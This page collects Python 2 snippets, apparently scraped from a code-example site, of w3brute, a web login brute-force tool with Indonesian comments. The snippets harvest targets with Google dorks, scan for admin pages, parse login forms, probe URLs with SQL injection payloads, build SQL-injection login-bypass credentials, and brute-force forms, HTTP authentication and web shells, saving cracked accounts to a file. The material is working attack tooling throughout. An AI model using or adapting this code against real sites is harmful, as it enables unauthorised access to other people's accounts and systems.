예제 #1
0
    def getParameterForm(self):
        if auth.IS_AUTHORIZATION:
            # skip lagi...
            return

        infoMsg = "[INFO] find parameter(s)...\n"
        cetakData(infoMsg)

        soup = html.soup
        html.field = PyDict()

        if auth.IS_WEBSHELL_AUTH is None:
            input_elem = soup.find("input", type="text") \
                or soup.find("input", type="email")

            if not input_elem.has_key("name"):
                errMsg = "parameter(s) not found in %s" % repr(str(input_elem))
                logger.error(errMsg)

                raise W3bruteSkipTargetException

            html.field.username = input_elem.get("name")

        input_elem = soup.find("input", type="password")

        if not input_elem.has_key("name"):
            errMsg = "parameter(s) not found in %s" % repr(str(input_elem))
            logger.error(errMsg)

            raise W3bruteSkipTargetException

        html.field.password = input_elem.get("name")
예제 #2
0
 def newline(self, msg):
     """
     mencetak text dan pindah ke garis baru
     """
     
     clearLine()
     
     if konf.colored():
         color = Fore.LIGHTGREEN_EX
         bold = Fore.LIGHTWHITE_EX
         reset = Style.RESET_ALL
         levelname = getLevelName(msg)
         msg = bold + msg.replace(levelname, color + levelname + reset)
         text = re.search("\((.+)\)", msg).group(1)
         msg = msg.replace(text, color + text + reset)
         
         if ":" not in self.curmesg:
             self.curmesg = warnai(self.curmesg, "green", attrs=["bold", "underline"])
         else:
             usr, psw = self.curmesg.split(" : ")
             self.curmesg = warnai(usr, "green", attrs=["bold", "underline"]) + " : " + warnai(psw, "green", attrs=["bold", "underline"])
     
     msg = msg.format(self.curmesg)
     msg += "\n"
     
     cetakData(msg)
예제 #3
0
 def write(self, msg):
     """ 
     cetak data ke terminal
     """
     
     clearLine()
     
     # simpan pesan, yang nantinya akan digunakan oleh
     # fungsi newline()
     self.curmesg = msg
     
     msg = self.message + msg
     if len(msg) >= self.width:
         # untuk lebar terminal kurang dari 51
         # pesan akan secara otomatis di pendekan.
         if self.width <= 50:
             if not konf.disableWrap:
                 msg = textwrap.wrap(msg, self.width)[0][:-4] + "..."
             else:
                 konf.garisBaru = True
         else:
             konf.garisBaru = True
     
     msg = msg.ljust(self.width)
     
     if konf.colored():
         msg = Fore.GREEN + msg + Style.RESET_ALL
     
     cetakData(msg)
예제 #4
0
def getTarget():
    """
    mendapatkan daftar target
    """

    targetList = None

    if not konf.googleSearch:
        targetList = createList(*konf.target)

        infoMsg = "[INFO] total target: %d\n" % len(targetList)
        cetakData(infoMsg)

    else:
        try:
            targetList = searchGoogle()

        except W3bruteNextStepException:
            raise W3bruteQuitException

        except Exception:
            errMsg = "what happened?. %s" % getErrorMessage()
            logger.error(errMsg)
            raise W3bruteQuitException

        if targetList is None:
            warnMsg = "[WARNING] unsuccessful in getting search results with dork %s. " % repr(
                konf.googleDork)
            warnMsg += "try using another dork (e.g. 'inurl:/admin/index.php')\n"
            cetakData(warnMsg)

            raise W3bruteQuitException

        infoMsg = "google search results get %d target(s)" % len(targetList)
        logger.info(infoMsg)

        charunik = os.urandom(4).encode("hex")
        filename = "result-dorking-w3brute-" + charunik
        format = "txt"
        fp = createFileObject(filename, format, False)

        maxval = len(targetList)
        spin = Spinner("[INFO] saving results... ", maxval=maxval)

        try:
            for url in targetList:
                fp.write(url + "\n")
                spin.show_progress()

        except W3bruteNextStepException:
            pass

        fp.close()
        spin.done()

        infoMsg = "dorking results are stored in %s" % repr(fp.name)
        logger.info(infoMsg)

    return targetList
예제 #5
0
 def checkLength(self):
     """
     memeriksa panjang pesan
     """
     
     if len(self.message + self.curmesg) >= self.width:
         self._show_proses_lengkap = False
         self.curlen = 0
         if not hasattr(self, "_sudah_di_perbaiki"):
             self._sudah_di_perbaiki = True
             clearLine()
         
         cetakData(self.message)
예제 #6
0
 def write(self, msg):
     """
     cetak karakter/pesan ke terminal
     """
     
     backspace = "\b" * self.curlen
     self.curlen = max(self.curlen, len(msg))
     if konf.colored():
         spin = msg[-1]
         msg = msg[:-1] + random.choice(Fore.__dict__.values()) + spin
     
     msg = backspace + msg.ljust(self.curlen)
     cetakData(msg)
예제 #7
0
 def done(self, msg=""):
     """ 
     cetak pesan selesai
     """
     
     clearLine()
     cetakData(msg)
     
     if msg: # jika msg bukan null
         # pindah ke garis baru.
         cetakData("\n")
     
     # aktifkan kembali interrupt handler
     ignoreInterrupt(False)
     self.resetSignal() 
예제 #8
0
def sqliScanner():
    """
    SQL injection scanner vulnerability
    untuk mengetahui jika target rentan terhadap SQL injection
    dan biasanya rentan juga di bypass login.
    """
    
    infoMsg = "[INFO] detecting bug SQL injection...\n"
    cetakData(infoMsg)
    
    pbar = Progress("[INFO] testing query -> ")
    query = getQuery(target.URL)
    
    try:
        for kueri in query:
            kueri = kueri.strip()
            for payload in SQL_PAYLOAD:
                pbar.write(kueri)
                old_url = target.URL
                new_url = old_url.replace(kueri, kueri + payload)
                response = UserAgent.open(new_url)
                htmltext = response.read()
                for errMsg in SQL_ERROR_MESSAGE:
                    if re.search(errMsg, htmltext, re.IGNORECASE):
                        msg = "[INFO] query: {} detected (vuln)"
                        pbar.newline(msg)
                        pbar.finish()
                        
                        raise W3bruteNextStepException
                    
                    pindahBaris()
        
        pbar.finish()
        
    except W3bruteNextStepException:
        infoMsg = "target is detected vulnerable by the SQL injection method"
        
        if not konf.sqliBypass:
            infoMsg += ". use the '--sqli-bypass' option to activate "
            infoMsg += "SQL injection bypass authentication technique."
        
        logger.info(infoMsg)
    
    else:
        warnMsg = "target is not vulnerable to the SQL injection method"
        logger.warning(warnMsg)
예제 #9
0
 def __init__(self, message, maxval=None, suffix="%(percent)d%%"):
     self.message = message
     self.marker = itertools.cycle(SPINNER_CHAR)
     self.curlen = 0
     self.curval = 0
     self.maxval = maxval or 100
     self.suffix = suffix
     self.width = getTerminalSize()[0]
     self.curmesg = None
     self._show_proses_lengkap = True
     
     ignoreInterrupt()
     
     # menambahkan handler untuk menghandle jika ukuran terminal berubah
     # reference: https://stackoverflow.com/questions/16941885/want-to-resize-terminal-windows-in-python-working-but-not-quite-right 
     signal.signal(signal.SIGWINCH, self.handleResize)
     
     cetakData(message)
예제 #10
0
    def getValidForms(self):
        """
        fungsi ini untuk mendapatkan form 
        yang menuju ke dashboard website
        """

        if auth.IS_AUTHORIZATION:
            # skip...
            return

        infoMsg = "[INFO] try searching for form that goes to the website dashboard...\n"
        cetakData(infoMsg)

        try:
            for form in self.forms:
                input_controls = form.controls
                for input_elem in input_controls:
                    input_type = input_elem.type
                    # jika input type 'password' ditemukan
                    # itu berarti form tersebut menuju ke
                    # dashboard website.
                    if input_type == "password":
                        html.form = form
                        html.soup = self.soup.find("form", attrs=form.attrs)

                        raise W3bruteSkipParsingFormException

        except W3bruteSkipParsingFormException:
            infoMsg = "form that goes to the website dashboard is found"
            logger.info(infoMsg)

        else:
            criMsg = "form that goes to the website dashboard is not found. "

            if not konf.adminScanner:
                criMsg += "try using the '--admin' option to help you "
                criMsg += "find the admin login page."

            logger.critical(criMsg)
            raise W3bruteSkipTargetException
예제 #11
0
def searchGoogle():
    infoMsg = "[INFO] google dorking is running, please wait...\n"
    cetakData(infoMsg)

    dork, page = konf.target
    page = page if page > 1 else 1
    # atur kembali
    konf.googleDork = dork

    data = {
        "q": dork,
        "num": 100,
        "hl": "en",
        "complete": 0,
        "safe": "off",
        "filter": 0,
        "btnG": "search",
        "start": page
    }

    url = "https://www.google.com/search?" + urllib.urlencode(data)
    response = UserAgent.open(url)
    htmltext = response.read()

    if re.search("(?i)captcha", htmltext):
        criMsg = "can't get dorking results. "
        criMsg += "captcha challenge detected"

        logger.critical(criMsg)
        raise W3bruteNextStepException

    soup = BeautifulSoup(htmltext)
    h3tags = soup.findAll("h3", attrs={"class": "r"})
    urls = [
        urlparse.parse_qsl(urlparse.urlsplit(tag.a["href"]).query)[0][1]
        for tag in h3tags
    ]

    return urls or None
예제 #12
0
def adminScanner():
    infoMsg = "[INFO] find the admin page...\n"
    cetakData(infoMsg)
    
    pbar = Progress("[INFO] testing page -> ")
    
    found = False
    adminPaths = createList(konf.adminPaths)
    for admin in adminPaths:
        admin = "/" + admin.strip()
        
        pbar.write(admin)
        
        newurl = getNewUrl(target.URL) + admin
        response = UserAgent.open(newurl)
        
        if response.code in ADMIN_PAGE_RESPONSE:
            pbar.newline("[INFO] admin page: {} (valid)")
            target.URL = newurl
            found = True
            break
        
        pindahBaris()
        
    pbar.finish()
    
    if not found:
        filename = os.path.basename(konf.adminPaths)
        if re.search(r"web.db", filename):
            filename = parseDbSyntax(filename)[0]
        
        criMsg = "admin login page not found in database %s" % repr(filename)
        logger.critical(criMsg)
        
        raise W3bruteSkipTargetException
    
    else:
        pass
예제 #13
0
    def getTipeAutentikasi(self):
        """
        mendapatkan tipe autentikasi target
        """

        infoMsg = "[INFO] detecting target authentication type...\n"
        cetakData(infoMsg)

        if auth.IS_AUTHORIZATION:
            infoMsg = "authentication type: %s Authorization" % repr(
                auth.type.capitalize())
            logger.info(infoMsg)

            return

        soup = html.soup

        if soup.find("input", type="text"):
            if re.search("(?i)email", str(soup)):
                auth_type = "email"
                auth.IS_EMAIL_AUTH = True
            else:
                auth_type = "standard"
                auth.IS_STANDARD_AUTH = True

        elif soup.find("input", type="email"):
            auth_type = "email"
            auth.IS_EMAIL_AUTH = True

        else:
            infoMsg = "page title %s" % repr(self.title)
            logger.info(infoMsg)

            auth_type = "web shell"
            auth.IS_WEBSHELL_AUTH = True

        infoMsg = "authentication type: %s" % repr(auth_type)
        logger.info(infoMsg)
예제 #14
0
def checkTarget():
    """
    memeriksa target jika support di bruteforce
    """

    url = target.URL
    target.HOST = urlparse.urlparse(url).netloc

    infoMsg = "[INFO] check the target if the target has the potential to attack...\n"
    cetakData(infoMsg)

    response = UserAgent.open(url)
    code = response.code

    if code == 401:
        auth.IS_AUTHORIZATION = True

    elif code == 200:
        infoMsg = "[INFO] search form...\n"
        cetakData(infoMsg)

    else:
        errMsg = "[ERROR] HTTP error code %d (%s)\n" % (code,
                                                        repr(response.reason))
        cetakData(errMsg)
        raise W3bruteSkipTargetException

    target.PAGE = getPage(response.geturl())
    parsed = ParsePage(response)

    if len(parsed.forms) > 0 or code == 401:
        if code != 401:
            infoMsg = "detected target has %d forms" % len(parsed.forms)
            logger.info(infoMsg)
        else:
            headers = response.info()
            auth.type = getSchemeAuth(headers)

        return parsed

    else:
        criMsg = "form not found. "

        if not konf.adminScanner:
            criMsg += "try using the '--admin' option to help you "
            criMsg += "find the admin login page."

        logger.critical(criMsg)
        raise W3bruteSkipTargetException
예제 #15
0
def main():
    """
    fungsi main untuk menjalankan w3brute di terminal
    """
    
    setBasePath()
    disableVerifySslCert()
    createLogger()
    
    try:
        banner()
        options = cmdLineParser() # mendapatkan nilai opsi.
        initOptions(options) # menerapkan nilai opsi ke data konfigurasi.
        
        msg = "\n[*] starting at %s\n\n" % time.strftime("%X")
        cetakData(msg)
        
        # mendapatkan daftar target.
        targetList = getTarget()
        
        for (i, url) in enumerate(targetList):
            i += 1
            
            url = url.strip()
            url = completeUrl(url)
            target.URL = str(url)
            
            infoMsg = "[INFO] #%d url: %s\n" % (i, url)
            cetakData(infoMsg)
            
            try: # menjalankan program
                init()
            
            except W3bruteSkipTargetException:
                clearLine()
                
                if not konf.selesai:
                    infoMsg = "[INFO] skipping target %s\n" % repr(str(url))
                    cetakData(infoMsg)
                else:
                    del konf.selesai
            
            # hapus data target sebelumnya.
            clearData() 
    
    except SystemExit:
        konf.lewat = True
    
    except KeyboardInterrupt:
        errMsg = "user aborted"
        logger.error(errMsg)
    
    except W3bruteQuitException:
        pass
    
    except Exception:
        clearLine()
        
        warnMsg = "something out of control happens.\n"
        warnMsg += ("=" * getTerminalSize()[0]) + "\n"
        warnMsg += "Running version: %s\n" % VERSION
        warnMsg += "Python version: %s\n" % sys.version.split()[0]
        warnMsg += "Operating system: %s\n" % platform.platform()
        warnMsg += "Command line: %s\n" % re.sub(r".+?w3brute.py\b", "w3brute.py", " ".join(sys.argv))
        warnMsg += "=" * getTerminalSize()[0]
        logger.warning(warnMsg)
        
        errMsg = getErrorMessage()
        logger.error(errMsg)
    
    finally:
        if not konf.lewat:
            msg = "\n[-] shutting down at %s\n\n" % time.strftime("%X")
            cetakData(msg)
        
        if IS_WIN:
            msg = "\n[#] press enter to continue... "
            cetakData(msg)
            raw_input()
예제 #16
0
def setKredensial():
    infoMsg = "[INFO] preparing credentials...\n"
    cetakData(infoMsg)

    sliceUser = parseSlice(konf.sliceUser)
    slicePass = parseSlice(konf.slicePass)
    usernames = sorted(createList(konf.usernames))
    passwords = sorted(createList(konf.passwords))

    # slice object (start) harus kurang dari len(object)
    if sliceUser.start >= len(usernames):
        sliceUser.start = 0

    if slicePass.start >= len(passwords):
        slicePass.start = 0

    usernames = usernames[sliceUser]
    passwords = passwords[slicePass]

    if konf.mixedCred and konf.sqliBypass:
        warnMsg = "[WARNING] if you want to use the '--mixed-cred' option "
        warnMsg += "please do not use the '--sqli-bypass' option\n"
        cetakData(warnMsg)

        time.sleep(2)  # durasi untuk anda membaca pesan.

        infoMsg = "[INFO] SQL injection bypass authentication techniques are disabled\n"
        cetakData(infoMsg)

        del konf.sqliBypass

    if auth.IS_WEBSHELL_AUTH and (konf.sqliBypass or konf.mixedCred):
        msg = "[ASK] do you want to use "
        msg += "SQL injection bypass authentication technique "
        msg += "on the web shell? (y/N): "
        jawaban = raw_input(msg).lower()
        if jawaban.startswith("n"):
            del konf.sqliBypass
            del konf.mixedCred

    if auth.IS_EMAIL_AUTH and not konf.sqliBypass:
        # konfigurasi kredensial untuk autentikasi
        # yang menggunakan email
        domains = createList(defaults.domain)

        if not konf.domain:
            msg = "[ASK] do you want to add a domain for email? "
            msg += "(default %s) (Y/n): " % repr(defaults.domain)
            jawaban = raw_input(msg).lower()
            if jawaban.startswith("y"):
                msg = "[#] enter domain (e.g. yahoo.com,mail.org): "
                domen = raw_input(msg).lower().strip()
                if len(domen) > 0:
                    domen = createList(domen)
                    domains.extend(domen)

        else:
            domen = createList(konf.domain)
            domains.extend(domen)

        domains = sorted(domains)
        infoMsg = "[INFO] adding domain to username...\n"
        cetakData(infoMsg)

        maxval = len(usernames) * len(domains)
        suffix = "%(curval)d/%(maxval)d %(percent)d%%"
        spin = Spinner("[INFO] current progress: ",
                       maxval=maxval,
                       suffix=suffix)

        _ = []

        try:
            for username in usernames:
                for domen in domains:
                    spin.show_progress()

                    if domen.startswith("@"):
                        domen = domen.lstrip("@")

                    if not re.search(EMAIL_PATTERN, username):
                        user = username + "@"
                        user += domen
                        _.append(user)
                    else:
                        _.append(username)

        except W3bruteNextStepException:
            pass

        spin.done()
        usernames = _
        del _

    if not auth.IS_WEBSHELL_AUTH and konf.mixedCred:
        infoMsg = "[INFO] adding SQL query to username...\n"
        cetakData(infoMsg)

        sqliQuery = createList(defaults.sqliQuery)
        maxval = len(usernames) * len(sqliQuery)
        suffix = "%(curval)d/%(maxval)d %(percent)d%%"
        spin = Spinner("[INFO] current progress: ",
                       maxval=maxval,
                       suffix=suffix)

        _ = []

        try:
            for username in usernames:
                for query in sqliQuery:
                    spin.show_progress()

                    user = username + query
                    _.append(user)

        except W3bruteNextStepException:
            pass

        spin.done()
        usernames = _
        del _

    if auth.IS_WEBSHELL_AUTH and konf.mixedCred:
        infoMsg = "[INFO] adding SQL query to password...\n"
        cetakData(infoMsg)

        wordlist = usernames + passwords
        sqliQuery = createList(defaults.sqliQuery)
        maxval = len(wordlist) * len(sqliQuery)
        suffix = "%(curval)d/%(maxval)d %(percent)d%%"
        spin = Spinner("[INFO] current progress: ",
                       maxval=maxval,
                       suffix=suffix)

        _ = []

        try:
            for username in usernames:
                for query in sqliQuery:
                    spin.show_progress()

                    user = username + query
                    _.append(user)

        except W3bruteNextStepException:
            pass

        spin.done()
        credDb.wordlist = _
        konf.webShellCred = True  # konfigurasi jika wordlist telah di atur.
        del _

    if konf.sqliBypass:
        # jika opsi --sqli-bypass digunakan
        # maka username dan password akan menggunakan
        # SQL injection query
        sqliQuery = createList(defaults.sqliQuery)
        usernames = sqliQuery
        passwords = sqliQuery

    ##########################
    # konfigurasi kredensial #
    ##########################

    if auth.IS_WEBSHELL_AUTH and not konf.mixedCred:
        credDb.wordlist = usernames + passwords
        konf.webShellCred = True  # ^

    if not auth.IS_WEBSHELL_AUTH:
        credDb.passwords = passwords

        if auth.IS_EMAIL_AUTH:
            credType = "email"
            # tambahkan konfigurasi emailCred
            # jika username dan password telah di atur.
            # jadi tidak akan mengatur ulang kembali proses
            # penyiapan kredensial (username dan password)
            konf.emailCred = True
        else:
            credType = "standard"
            konf.standardCred = True  # ^

        credDb[credType] = PyDict()
        credDb[credType].usernames = usernames

        del usernames, passwords

    infoMsg = "preparing credentials is complete"
    logger.info(infoMsg)
예제 #17
0
def bruteForceAttack():
    infoMsg = "starting attacks..."
    logger.info(infoMsg)
    regexp = re.compile(target.PAGE, re.I)
    
    if not auth.IS_AUTHORIZATION:
        form = html.form
        field = html.field
    
    target.kredensial = list()
    
    try:
        # bilang ke interrupt handler
        # jika w3brute sedang menjalankan sesi bruteforce
        konf.bruteSession = True
        
        if not auth.IS_WEBSHELL_AUTH:
            # mendapatkan daftar username sesuai tipe autentikasi.
            credType = "standard" if not auth.IS_EMAIL_AUTH else "email"
            usernames = sorted(credDb[credType].usernames)
            passwords = sorted(credDb.passwords)
            
            pbar = Progress("[INFO] testing account -> ")
            installBuiltin("pbar", pbar)
            
            for username in usernames:
                username = username.strip()
                
                for password in passwords:
                    password = password.strip()
                    
                    msg = "{0} : {1}".format(username, password)
                    pbar.write(msg)
                    
                    authcred = None
                    
                    if auth.IS_AUTHORIZATION:
                        authcred = (username, password)
                        url = target.URL
                    else:
                        form[field.username] = username
                        form[field.password] = password
                        
                        url = getRequestData(form)
                    
                    response = UserAgent.open(url, authCred=authcred)
                    
                    # mendapatkan informasi jika akun 'berpotensi'
                    # dari respon url setelah melakukan POST DATA
                    try:
                        newUrl = response.geturl()
                        if not regexp.search(newUrl):
                            status.found = True
                    
                    except AttributeError:
                        pass
                    
                    checkRegexValid(response) 
                    checkStatus(username, password)
                    pindahBaris()
        
        else:
            pbar = Progress("[INFO] testing password -> ")
            installBuiltin("pbar", pbar)
            
            wordlist = sorted(credDb.wordlist)
            for password in wordlist:
                password = password.strip()
                
                pbar.write(password)
                form[field.password] = password
                url = getRequestData(form)
                
                try:
                    # mendapatkan informasi jika password (berpotensi)
                    # dari respon kode HTTP
                    response = UserAgent.open(url, allow_redirects=False)
                except W3bruteRedirectException:
                    status.found = True
                
                checkRegexValid(response) 
                checkStatus(password)
                pindahBaris() 
    
    except W3bruteStopBruteForceException:
        pass
    
    # bilang ke interrupt handler
    # kalau sesi bruteforce sudah selesai.
    del konf.bruteSession
    
    pbar.finish()
    
    # cek jika sudah dapat akun berpotensi
    if len(target.kredensial) > 0:
        infoMsg = "w3brute managed to get %d potential %s" + ("s" if len(target.kredensial) > 1 else "")
        infoMsg %= (len(target.kredensial), getCredentialType())
        logger.info(infoMsg)
        
        fp = createFileObject()
        fieldnames = ["username", "password"] if not auth.IS_WEBSHELL_AUTH else ["password"]
        fieldnames.insert(0, "#")
        fieldnames.append("status")
        
        output = OutputWriter(fp, fieldnames, konf.fileFormat)
        
        maxval = len(target.kredensial)
        spin = Spinner("[INFO] saving results... ", maxval=maxval)
        
        try:
            for (num, kred) in enumerate(target.kredensial):
                num += 1
                kred = (num,) + kred
                output.add_row(*kred)
                spin.show_progress()
        
        except W3bruteNextStepException:
            pass
        
        output.close()
        spin.done()
        
        infoMsg = "results of the w3brute are stored in %s" % repr(fp.name)
        logger.info(infoMsg)
        
        konf.selesai = True
    
    else:
        clearLine()
        
        warnMsg = "[WARNING] w3brute has not managed to find a potential '%s'. " % getCredentialType()
        warnMsg += "please try again later.\n"
        cetakData(warnMsg)
    
    uninstallBuiltin("pbar")
    
    if isinstance(konf.quit, bool):
        raise W3bruteQuitException
    
    raise W3bruteSkipTargetException